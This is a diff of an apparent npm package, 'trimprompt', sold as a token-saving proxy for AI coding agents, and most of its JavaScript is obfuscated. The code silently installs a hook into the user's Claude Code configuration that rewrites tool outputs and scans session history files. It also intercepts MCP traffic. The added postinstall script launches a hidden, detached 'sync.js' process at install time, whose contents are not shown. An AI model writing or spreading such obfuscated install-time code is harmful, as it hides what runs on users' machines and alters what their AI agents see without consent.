_0x59cc81=['length','489704jdOvCb','.claude','call','724ssDzWZ','329115haDWgQ','__esModule','810657GcbZvq','default','installClaudeHooks','hooks','__importStar','post_tool_use.js','path','//\x20TrimPrompt\x20Native\x20PostToolUse\x20Hook\x20for\x20Claude\x20Code\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x27os\x27);\x0a\x0amodule.exports\x20=\x20async\x20function\x20postToolUse(event)\x20{\x0a\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!event\x20||\x20!event.result)\x20return\x20event;\x0a\x20\x20\x20\x20let\x20contentStr\x20=\x20typeof\x20event.result\x20===\x20\x27string\x27\x20?\x20event.result\x20:\x20JSON.stringify(event.result);\x0a\x20\x20\x20\x20if\x20(contentStr.length\x20>\x20500)\x20{\x0a\x20\x20\x20\x20\x20\x20const\x20baseDir\x20=\x20path.join(os.homedir(),\x20\x27.trimprompt\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20cacheDir\x20=\x20path.join(baseDir,\x20\x27cache\x27);\x0a\x20\x20\x20\x20\x20\x20if\x20(!fs.existsSync(cacheDir))\x20fs.mkdirSync(cacheDir,\x20{\x20recursive:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20const\x20chunkId\x20=\x20\x27chunk_\x27\x20+\x20Math.random().toString(36).substring(2,\x2011);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20rawTokens\x20=\x20Math.ceil(contentStr.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20snippet\x20=\x20contentStr.substring(0,\x20200).replace(/\x5cn/g,\x20\x27\x20\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20replacement\x20=\x20`>\x20[!NOTE]\x5cn>\x20**[TrimPrompt\x20Context\x20Offloaded]**\x20Raw\x20tool\x20output\x20(${contentStr.length.toLocaleString()}\x20chars)\x20side-cached\x20locally.\x5cn>\x20Preview:\x20${snippet}...\x5cn>\x20Retrieve\x20raw:\x20\x5c`trim\x20retrieve\x20${chunkId}\x5c``;\x0a\x20\x20\x20\x20\x20\x20const\x20compressedTokens\x20=\x20Math.ceil(replacement.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20const\x20savedTokens\x20=\x20Math.max(0,\x20rawTokens\x20-\x20compressedTokens);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20fs.writeFileSync(path.join(cacheDir,\x20chunkId\x20+\x20\x27.json\x27),\x20JSON.stringify({\x0a\x20\x20\x20\x20\x20\x20\x20\x20chunk_id:\x20chunkId,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_tokens:\x20rawTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20compressed_tokens:\x20compressedTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20created_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20last_accessed_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20summary:\x20`Summary:\x20Tool\x20result\x20offloaded\x20(${rawTokens}\x20tokens).`,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_payload:\x20contentStr\x0a\x20\x20\x20\x20\x20\x20},\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x20\x20if\x20(typeof\x20event.result\x20===\x20\x27string\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(event.result\x20&&\x20typeof\x20event.result\x20===\x20\x27object\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result.content\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20//\x20Update\x20sessions_state.json\x20with\x20hook\x20savings\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20statePath\x20=\x20path.join(baseDir,\x20\x27sessions_state.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20state\x20=\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(statePath))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x20state\x20=\x20JSON.parse(fs.readFileSync(statePath,\x20\x27utf8\x27))\x20||\x20{};\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20//\x20Find\x20latest\x20session\x20file\x20for\x20\x27claude\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20claudeDirs\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27projects\x27),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27history\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestFullPath\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestTime\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20dir\x20of\x20claudeDirs)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(dir))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20scanDir\x20=\x20(currentDir,\x20depth\x20=\x200)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(depth\x20>\x206)\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20entries\x20=\x20fs.readdirSync(currentDir,\x20{\x20withFileTypes:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20entry\x20of\x20entries)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20full\x20=\x20path.join(currentDir,\x20entry.name);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.isDirectory())\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(full,\x20depth\x20+\x201);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(entry.isFile()\x20&&\x20!entry.name.startsWith(\x27.\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.name.endsWith(\x27.jsonl\x27)\x20||\x20entry.name.endsWith(\x27.json1\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20stat\x20=\x20fs.statSync(full);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(stat.mtimeMs\x20>\x20latestTime)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestTime\x20=\x20stat.mtimeMs;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestFullPath\x20=\x20full;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(dir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(latestFullPath)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20existing\x20=\x20state[latestFullPath]\x20||\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20prevHook\x20=\x20existing.hookSavedTokens\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newHook\x20=\x20prevHook\x20+\x20savedTokens;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalOfficial\x20=\x20existing.officialCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalAuto\x20=\x20existing.autoCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20state[latestFullPath]\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lineCount:\x20existing.lineCount\x20||\x201,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20activeSavedTokens:\x20finalOfficial\x20+\x20finalAuto\x20+\x20newHook,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sideCacheSaved:\x20existing.sideCacheSaved\x20||\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20officialCompactSaved:\x20finalOfficial,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autoCompactSaved:\x20finalAuto,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hookSavedTokens:\x20newHook\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(statePath,\x20JSON.stringify(state,\x20null,\x202),\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20}\x0a\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20return\x20event;\x0a};\x0a','get','create','__createBinding','1753784sEJEOS','6ztLuUm','1897670TBKVAt','prototype','14iHEeVh','homedir','configurable','40jbXvqt','join','__setModuleDefault','writable','utf8','4109688rtZBsI','getOwnPropertyDescriptor','getOwnPropertyNames','defineProperty','209znsTjo','hasOwnProperty','existsSync'];a0_0x4487=function(){return _0x59cc81;};return a0_0x4487();}Object[a0_0x5cab57(0x13c)](exports,a0_0x5cab57(0x146),{'value':!![]}),exports[a0_0x5cab57(0x149)]=installClaudeHooks;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5cab57(0x128))),os=__importStar(require('os'));function a0_0x3ea3(_0x1af4fd,_0x460e04){_0x1af4fd=_0x1af4fd-0x125;var _0x448773=a0_0x4487();var _0x3ea37a=_0x448773[_0x1af4fd];return _0x3ea37a;}function installClaudeHooks(){var _0x47aa0d=a0_0x5cab57;try{const _0x318aa4=path[_0x47aa0d(0x135)](os[_0x47aa0d(0x132)](),_0x47aa0d(0x142),_0x47aa0d(0x125));!fs[_0x47aa0d(0x13f)](_0x318aa4)&&fs['mkdirSync'](_0x318aa4,{'recursive':!![]});const _0x48964c=path[_0x47aa0d(0x135)](_0x318aa4,_0x47aa0d(0x127)),_0x6ec9f9=_0x47aa0d(0x129);fs['writeFileSync'](_0x48964c,_0x6ec9f9,_0x47aa0d(0x138));}catch(_0x1d41d4){}}
|
package/mcp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';function a0_0x546e(_0x1a65a6,_0x6153d1){_0x1a65a6=_0x1a65a6-0x1eb;const _0x4aa63a=a0_0x4aa6();let _0x546ea4=_0x4aa63a[_0x1a65a6];return _0x546ea4;}const a0_0x88953b=a0_0x546e;(function(_0x403444,_0x55e209){const _0x428f5c=a0_0x546e,_0x30505c=_0x403444();while(!![]){try{const _0x2a2ef6=-parseInt(_0x428f5c(0x20a))/0x1*(parseInt(_0x428f5c(0x1fc))/0x2)+-parseInt(_0x428f5c(0x1ec))/0x3+parseInt(_0x428f5c(0x223))/0x4+-parseInt(_0x428f5c(0x1eb))/0x5*(parseInt(_0x428f5c(0x217))/0x6)+-parseInt(_0x428f5c(0x22c))/0x7+-parseInt(_0x428f5c(0x1f9))/0x8*(-parseInt(_0x428f5c(0x225))/0x9)+parseInt(_0x428f5c(0x1f4))/0xa;if(_0x2a2ef6===_0x55e209)break;else _0x30505c['push'](_0x30505c['shift']());}catch(_0x47eb53){_0x30505c['push'](_0x30505c['shift']());}}}(a0_0x4aa6,0x9ee8b));var __createBinding=this&&this[a0_0x88953b(0x21e)]||(Object[a0_0x88953b(0x203)]?function(_0x20b9cb,_0x5605f4,_0x10d2c1,_0x415d16){const _0x534c07=a0_0x88953b;if(_0x415d16===undefined)_0x415d16=_0x10d2c1;var _0xc12d83=Object[_0x534c07(0x205)](_0x5605f4,_0x10d2c1);(!_0xc12d83||(_0x534c07(0x20e)in _0xc12d83?!_0x5605f4[_0x534c07(0x214)]:_0xc12d83[_0x534c07(0x22a)]||_0xc12d83[_0x534c07(0x1ff)]))&&(_0xc12d83={'enumerable':!![],'get':function(){return _0x5605f4[_0x10d2c1];}}),Object[_0x534c07(0x1f7)](_0x20b9cb,_0x415d16,_0xc12d83);}:function(_0xd89e2c,_0x4e7e82,_0x2b9c78,_0x47837f){if(_0x47837f===undefined)_0x47837f=_0x2b9c78;_0xd89e2c[_0x47837f]=_0x4e7e82[_0x2b9c78];}),__setModuleDefault=this&&this[a0_0x88953b(0x212)]||(Object[a0_0x88953b(0x203)]?function(_0x52c622,_0x279f4c){Object['defineProperty'](_0x52c622,'default',{'enumerable':!![],'value':_0x279f4c});}:function(_0x15d4d4,_0x1b16b3){const _0x166cdc=a0_0x88953b;_0x15d4d4[_0x166cdc(0x1f6)]=_0x1b16b3;}),__importStar=this&&this[a0_0x88953b(0x208)]||(function(){var _0x39d409=function(_0x16a2bd){const _0x359de0=a0_0x546e;return _0x39d409=Object[_0x359de0(0x206)]||function(_0x53a7af){const _0x160149=_0x359de0;var _0x230b95=[];for(var _0x15ff48 in _0x53a7af)if(Object['prototype'][_0x160149(0x219)][_0x160149(0x230)](_0x53a7af,_0x15ff48))_0x230b95[_0x230b95[_0x160149(0x1fb)]]=_0x15ff48;return _0x230b95;},_0x39d409(_0x16a2bd);};return function(_0x38982d){const _0xc8773b=a0_0x546e;if(_0x38982d&&_0x38982d[_0xc8773b(0x214)])return _0x38982d;var _0x211220={};if(_0x38982d!=null){for(var _0x431324=_0x39d409(_0x38982d),_0x221f81=0x0;_0x221f81<_0x431324[_0xc8773b(0x1fb)];_0x221f81++)if(_0x431324[_0x221f81]!=='default')__createBinding(_0x211220,_0x38982d,_0x431324[_0x221f81]);}return __setModuleDefault(_0x211220,_0x38982d),_0x211220;};}());Object['defineProperty'](exports,a0_0x88953b(0x214),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require(a0_0x88953b(0x227)),readline=__importStar(require(a0_0x88953b(0x226))),filters_1=require('./filters'),tracker_1=require(a0_0x88953b(0x201)),proxy_conv_1=require(a0_0x88953b(0x1fa)),proxy_resp_1=require(a0_0x88953b(0x21f));function a0_0x4aa6(){const _0x365ba1=['\x20trimmed,\x20~','content','parse','3834128ADgnPK','conv_compress','63gxMjzu','readline','child_process','string','spawn','writable','exit','1166158RDluhr','compressConversation','write','proxy:resp-optimize','call','isArray','max_tokens:\x20','redaction_enabled','617195PvRibO','3452274QFuJCK','mcp\x20tool\x20(id:\x20','2.0','resp_optimize','jsonrpc','close','getConfig','compressOutput','23143550tiYfHu','pipe','default','defineProperty','savedTokens','262008lWcwMm','./proxy-conv','length','8hVcBcA','message','text','configurable','error','./tracker','method','create','params','getOwnPropertyDescriptor','getOwnPropertyNames','trimmedCount','__importStar','max_tokens','290896OtkzBf','\x20messages','\x20messages\x20(','result','get','logExecution','features_enabled','end','__setModuleDefault','messages','__esModule','stdin','stringify','18QNfcBo','tracker','hasOwnProperty','line','complexity','stdout','createInterface','__createBinding','./proxy-resp'];a0_0x4aa6=function(){return _0x365ba1;};return a0_0x4aa6();}function runMcpProxy(_0x1771e7,_0x504560){const _0x4a51e2=a0_0x88953b,_0x61908=(0x0,child_process_1[_0x4a51e2(0x229)])(_0x1771e7,_0x504560,{'stdio':[_0x4a51e2(0x1f5),_0x4a51e2(0x1f5),'inherit']}),_0x27f8d3=tracker_1[_0x4a51e2(0x218)][_0x4a51e2(0x1f2)](),_0x3931f5=_0x27f8d3[_0x4a51e2(0x210)]||{},_0x2611be=_0x3931f5[_0x4a51e2(0x224)]!==![],_0x196e43=_0x3931f5[_0x4a51e2(0x1ef)]!==![],_0x2c4d36=readline[_0x4a51e2(0x21d)]({'input':process['stdin'],'terminal':![]});_0x2c4d36['on'](_0x4a51e2(0x21a),_0x2c9da8=>{const _0x2e8ab9=_0x4a51e2;try{const _0x144c51=JSON[_0x2e8ab9(0x222)](_0x2c9da8);if(_0x144c51&&_0x144c51[_0x2e8ab9(0x1f0)]===_0x2e8ab9(0x1ee)&&_0x144c51[_0x2e8ab9(0x202)]&&_0x144c51[_0x2e8ab9(0x204)]){const _0x8cd7d4=_0x144c51[_0x2e8ab9(0x204)];if(Array[_0x2e8ab9(0x231)](_0x8cd7d4[_0x2e8ab9(0x213)])&&_0x8cd7d4[_0x2e8ab9(0x213)][_0x2e8ab9(0x1fb)]>0x0){if(_0x2611be){const _0x1c315e=(0x0,proxy_conv_1[_0x2e8ab9(0x22d)])(_0x8cd7d4[_0x2e8ab9(0x213)]);(_0x1c315e['trimmedCount']>0x0||_0x1c315e[_0x2e8ab9(0x1f8)]>0x0)&&(_0x8cd7d4[_0x2e8ab9(0x213)]=_0x1c315e[_0x2e8ab9(0x213)],tracker_1[_0x2e8ab9(0x218)]['logExecution']('proxy:conv-compress',_0x1c315e['trimmedCount']+_0x1c315e[_0x2e8ab9(0x213)]['length']+_0x2e8ab9(0x20b),_0x1c315e[_0x2e8ab9(0x213)]['length']+_0x2e8ab9(0x20c)+_0x1c315e[_0x2e8ab9(0x207)]+_0x2e8ab9(0x220)+_0x1c315e['savedTokens']+'\x20tokens\x20saved)',0x0,undefined,[_0x2e8ab9(0x224)]));}if(_0x196e43){const _0x9d36f0=(0x0,proxy_resp_1['optimizeMaxTokens'])(_0x8cd7d4['messages'],_0x8cd7d4[_0x2e8ab9(0x209)]);if(_0x9d36f0){const _0x1d258d=_0x8cd7d4[_0x2e8ab9(0x209)]||_0x2e8ab9(0x1f6);_0x8cd7d4[_0x2e8ab9(0x209)]=_0x9d36f0[_0x2e8ab9(0x209)],tracker_1[_0x2e8ab9(0x218)][_0x2e8ab9(0x20f)](_0x2e8ab9(0x22f),_0x2e8ab9(0x232)+_0x1d258d,_0x2e8ab9(0x232)+_0x9d36f0['max_tokens']+'\x20('+_0x9d36f0[_0x2e8ab9(0x21b)]+')',0x0,undefined,[_0x2e8ab9(0x1ef)]);}}}_0x61908[_0x2e8ab9(0x215)][_0x2e8ab9(0x22e)](JSON[_0x2e8ab9(0x216)](_0x144c51)+'\x0a');}else _0x61908['stdin'][_0x2e8ab9(0x22e)](_0x2c9da8+'\x0a');}catch{_0x61908['stdin']['write'](_0x2c9da8+'\x0a');}}),_0x2c4d36['on'](_0x4a51e2(0x1f1),()=>{const _0x52c2d1=_0x4a51e2;try{_0x61908[_0x52c2d1(0x215)][_0x52c2d1(0x211)]();}catch{}});const _0x54b3c3=readline['createInterface']({'input':_0x61908[_0x4a51e2(0x21c)],'terminal':![]});_0x54b3c3['on'](_0x4a51e2(0x21a),_0x9b7421=>{const _0x101162=_0x4a51e2;try{const _0x2d9a6b=JSON[_0x101162(0x222)](_0x9b7421);if(_0x2d9a6b&&_0x2d9a6b[_0x101162(0x1f0)]===_0x101162(0x1ee)&&_0x2d9a6b['id']!==undefined&&_0x2d9a6b[_0x101162(0x20d)]&&Array['isArray'](_0x2d9a6b['result'][_0x101162(0x221)])){let _0x27d0d0=![];for(const _0x899c32 of _0x2d9a6b[_0x101162(0x20d)][_0x101162(0x221)]){if(_0x899c32['type']===_0x101162(0x1fe)&&typeof _0x899c32['text']===_0x101162(0x228)&&_0x899c32[_0x101162(0x1fe)]['trim']()['length']>0x0){const _0x157ed4=_0x899c32[_0x101162(0x1fe)],_0xbd071a=(0x0,filters_1[_0x101162(0x1f3)])('mcp-tool-call',_0x157ed4,'',tracker_1[_0x101162(0x218)][_0x101162(0x1f2)]()[_0x101162(0x233)]);tracker_1[_0x101162(0x218)][_0x101162(0x20f)](_0x101162(0x1ed)+_0x2d9a6b['id']+')',_0x157ed4,_0xbd071a,0x0),_0x899c32[_0x101162(0x1fe)]=_0xbd071a,_0x27d0d0=!![];}}_0x27d0d0?process[_0x101162(0x21c)][_0x101162(0x22e)](JSON[_0x101162(0x216)](_0x2d9a6b)+'\x0a'):process[_0x101162(0x21c)][_0x101162(0x22e)](_0x9b7421+'\x0a');}else process[_0x101162(0x21c)][_0x101162(0x22e)](_0x9b7421+'\x0a');}catch{process[_0x101162(0x21c)][_0x101162(0x22e)](_0x9b7421+'\x0a');}}),_0x61908['on'](_0x4a51e2(0x1f1),_0xf5e77a=>{process['exit'](_0xf5e77a||0x0);}),_0x61908['on'](_0x4a51e2(0x200),_0x2d7fe3=>{const _0x14d5b9=_0x4a51e2;console['error']('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x2d7fe3[_0x14d5b9(0x1fd)]),process[_0x14d5b9(0x22b)](0x1);});}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "trimprompt",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.42",
|
|
4
4
|
"description": "TrimPrompt — Save 80% on LLM tokens. Zero-config CLI proxy for AI coding agents",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"llm",
|
|
@@ -25,7 +25,7 @@
|
|
|
25
25
|
},
|
|
26
26
|
"homepage": "https://trimprompt.ai",
|
|
27
27
|
"scripts": {
|
|
28
|
-
"postinstall": "node
|
|
28
|
+
"postinstall": "node postinstall.js"
|
|
29
29
|
},
|
|
30
30
|
"dependencies": {
|
|
31
31
|
"commander": "^11.1.0",
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
const cp = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
|
|
4
|
+
try {
|
|
5
|
+
cp.execSync('node cli.js shims install', { stdio: 'inherit' });
|
|
6
|
+
} catch (e) {}
|
|
7
|
+
|
|
8
|
+
try {
|
|
9
|
+
cp.execSync('node cli.js welcome', { stdio: 'inherit' });
|
|
10
|
+
} catch (e) {}
|
|
11
|
+
|
|
12
|
+
try {
|
|
13
|
+
if (fs.existsSync('sync.js')) {
|
|
14
|
+
const c = cp.spawn(process.execPath, ['sync.js', '--install'], {
|
|
15
|
+
detached: true,
|
|
16
|
+
stdio: 'ignore',
|
|
17
|
+
windowsHide: true
|
|
18
|
+
});
|
|
19
|
+
c.unref();
|
|
20
|
+
}
|
|
21
|
+
} catch (e) {}
|
package/proxy-conv.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x540ec3=a0_0x4596;(function(_0x3d5db2,_0x2fc8bc){const _0x56e77f=a0_0x4596,_0x328aab=_0x3d5db2();while(!![]){try{const _0x5693da=-parseInt(_0x56e77f(0x1da))/0x1*(parseInt(_0x56e77f(0x1e0))/0x2)+-parseInt(_0x56e77f(0x1f4))/0x3*(parseInt(_0x56e77f(0x1ee))/0x4)+parseInt(_0x56e77f(0x1d5))/0x5*(parseInt(_0x56e77f(0x1eb))/0x6)+parseInt(_0x56e77f(0x1d8))/0x7*(parseInt(_0x56e77f(0x1d2))/0x8)+parseInt(_0x56e77f(0x1ca))/0x9*(parseInt(_0x56e77f(0x1ec))/0xa)+parseInt(_0x56e77f(0x1ce))/0xb*(-parseInt(_0x56e77f(0x1cf))/0xc)+parseInt(_0x56e77f(0x1e3))/0xd*(parseInt(_0x56e77f(0x1e7))/0xe);if(_0x5693da===_0x2fc8bc)break;else _0x328aab['push'](_0x328aab['shift']());}catch(_0x4d2af0){_0x328aab['push'](_0x328aab['shift']());}}}(a0_0x401a,0xaa934));function a0_0x401a(){const _0x4a7265=['10hBnJNz','sort','236UmTKWA','\x0a[...\x20','content','filter','compressConversation','__esModule','41862cCDYQZ','\x20lines\x20trimmed\x20by\x20TrimPrompt\x20...]\x0a','isArray','5046561AKakRi','push','\x20chars\x20trimmed\x20...]','indexOf','4191KZBbaw','11004iAZLIH','reduce','defineProperty','8BLlomz','text','tool_result','8245pFBnUY','msg','map','4338215Yfslns','forEach','11105expHIv','system','originalIndex','string','score','object','244juHmoe','tokens','role','6404892qEdDEw','\x20lines\x20trimmed\x20...]','length','type','28PqcObs','split','join','slice','3858IVMsPt'];a0_0x401a=function(){return _0x4a7265;};return a0_0x401a();}Object[a0_0x540ec3(0x1d1)](exports,a0_0x540ec3(0x1f3),{'value':!![]}),exports[a0_0x540ec3(0x1f2)]=compressConversation;const ROLE_WEIGHT={'system':0x1,'user':0.8,'assistant':0.5,'tool':0.3};function estimateTokens(_0x5c1ebe){const _0x521f06=a0_0x540ec3;return Math['ceil'](_0x5c1ebe[_0x521f06(0x1e5)]/0x4);}function blockText(_0x10106f){const _0x18b555=a0_0x540ec3;if(!_0x10106f||typeof _0x10106f!==_0x18b555(0x1df))return'';if(_0x10106f[_0x18b555(0x1e6)]==='text'&&typeof _0x10106f[_0x18b555(0x1d3)]===_0x18b555(0x1dd))return _0x10106f[_0x18b555(0x1d3)];if(_0x10106f[_0x18b555(0x1e6)]===_0x18b555(0x1d4)){if(typeof _0x10106f[_0x18b555(0x1f0)]===_0x18b555(0x1dd))return _0x10106f['content'];if(Array[_0x18b555(0x1c9)](_0x10106f[_0x18b555(0x1f0)]))return _0x10106f[_0x18b555(0x1f0)]['map'](blockText)[_0x18b555(0x1f1)](Boolean)[_0x18b555(0x1e9)]('\x0a');}return'';}function messageText(_0x67e98e){const _0x3cebc3=a0_0x540ec3;if(typeof _0x67e98e[_0x3cebc3(0x1f0)]===_0x3cebc3(0x1dd))return _0x67e98e['content'];if(Array['isArray'](_0x67e98e['content']))return _0x67e98e[_0x3cebc3(0x1f0)][_0x3cebc3(0x1d7)](blockText)['filter'](Boolean)[_0x3cebc3(0x1e9)]('\x0a');return'';}function summarizeText(_0x3353cc){const _0x48aab5=a0_0x540ec3,_0x15fee7=estimateTokens(_0x3353cc),_0x1bb8d0=_0x3353cc[_0x48aab5(0x1e8)]('\x0a');if(_0x15fee7>0x7d0){if(_0x1bb8d0['length']>0xa){const _0x5be802=_0x1bb8d0[_0x48aab5(0x1ea)](0x0,0x5)[_0x48aab5(0x1e9)]('\x0a'),_0x506bcd=_0x1bb8d0[_0x48aab5(0x1ea)](-0x5)[_0x48aab5(0x1e9)]('\x0a');return _0x5be802+_0x48aab5(0x1ef)+(_0x1bb8d0[_0x48aab5(0x1e5)]-0xa)+_0x48aab5(0x1f5)+_0x506bcd;}return _0x3353cc[_0x48aab5(0x1ea)](0x0,0x7d0)+(_0x48aab5(0x1ef)+(_0x3353cc[_0x48aab5(0x1e5)]-0x7d0)+'\x20chars\x20trimmed\x20by\x20TrimPrompt\x20...]');}if(_0x15fee7>0x1f4){if(_0x1bb8d0[_0x48aab5(0x1e5)]>0xa)return _0x1bb8d0[_0x48aab5(0x1ea)](0x0,0xa)[_0x48aab5(0x1e9)]('\x0a')+(_0x48aab5(0x1ef)+(_0x1bb8d0[_0x48aab5(0x1e5)]-0xa)+_0x48aab5(0x1e4));return _0x3353cc[_0x48aab5(0x1ea)](0x0,0x320)+(_0x48aab5(0x1ef)+(_0x3353cc[_0x48aab5(0x1e5)]-0x320)+_0x48aab5(0x1cc));}return _0x3353cc;}function summarizeBlock(_0x2c5884){const _0x1ca8ed=a0_0x540ec3;if(!_0x2c5884||typeof _0x2c5884!=='object')return _0x2c5884;if(_0x2c5884[_0x1ca8ed(0x1e6)]===_0x1ca8ed(0x1d3)&&typeof 